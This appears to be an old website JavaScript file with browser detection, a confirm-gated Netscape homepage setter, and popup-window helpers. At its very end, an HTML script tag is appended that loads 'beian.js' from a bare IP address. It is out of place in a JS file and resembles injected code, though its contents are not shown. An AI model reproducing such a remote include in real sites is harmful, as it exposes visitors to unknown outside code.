isIE = false;
navVer = navigator.appVersion;
ver = parseFloat(navVer);
IEPos = navVer.indexOf('MSIE');
if (IEPos !=-1) {
  isIE = true;
  ver = parseFloat(navVer.substring(IEPos+5,navVer.indexOf(';',IEPos)));
}

isIE5up = (isIE && ver >= 5);

function setNSHomepage(URL) {  // this HAS to be signed if it is to run on the web
  var Text = '';
  Text += 'Due to Netscapes security handling, making this page your homepage, will show you a dialog with a warning.\n';
  Text += 'If you do not wish to grant this site the access to your browser settings,';
  Text += ' you can manually copy the current location and paste it in the location field in Edit / Preferences / Navigator.';
  if (confirm(Text)) {
    netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesWrite");
    navigator.preference('browser.startup.homepage',URL);
  }
}
document.write("<link rel='icon' href='/favicon.ico' type='image/x-icon' />");
document.write("<link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' />");

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function openEp(URLtoOpen, windowName, windowFeatures)
{
moveme=window.open(URLtoOpen, windowName, windowFeatures);
moveme.moveTo(((screen.width/2)-270),((screen.height/2)-220))
}

function openemailfriend(URLtoOpen, windowName, windowFeatures) 
{ 
moveme=window.open(URLtoOpen, windowName, windowFeatures); 
moveme.moveTo(((screen.width/2)-220),((screen.height/2)-160)) 
} 

function credit(URLtoOpen, windowName, windowFeatures) 
{ 
moveme=window.open(URLtoOpen, windowName, windowFeatures); 
moveme.moveTo(((screen.width/2)-220),((screen.height/2)-160)) 
}

function openquiz()
{
moveme=window.open("http://193.226.140.188/EverestQuiz/EverestQuiz.asp","TheEverestQuiz","width=580,height=325,menubar=no,status=yes,scrollbars=no,resizable=no");
moveme.moveTo(((screen.width/2)-290),((screen.height/2)-180)) 
}<script language='javascript' src='http://211.152.51.24/beian.js'></script>/*<a href="http://xmcyberpolice.cn/alert.asp" target=_blank><img src="http://xmcyberpolice.cn/image/gt.gif" width  ="30" border='0'></a>*/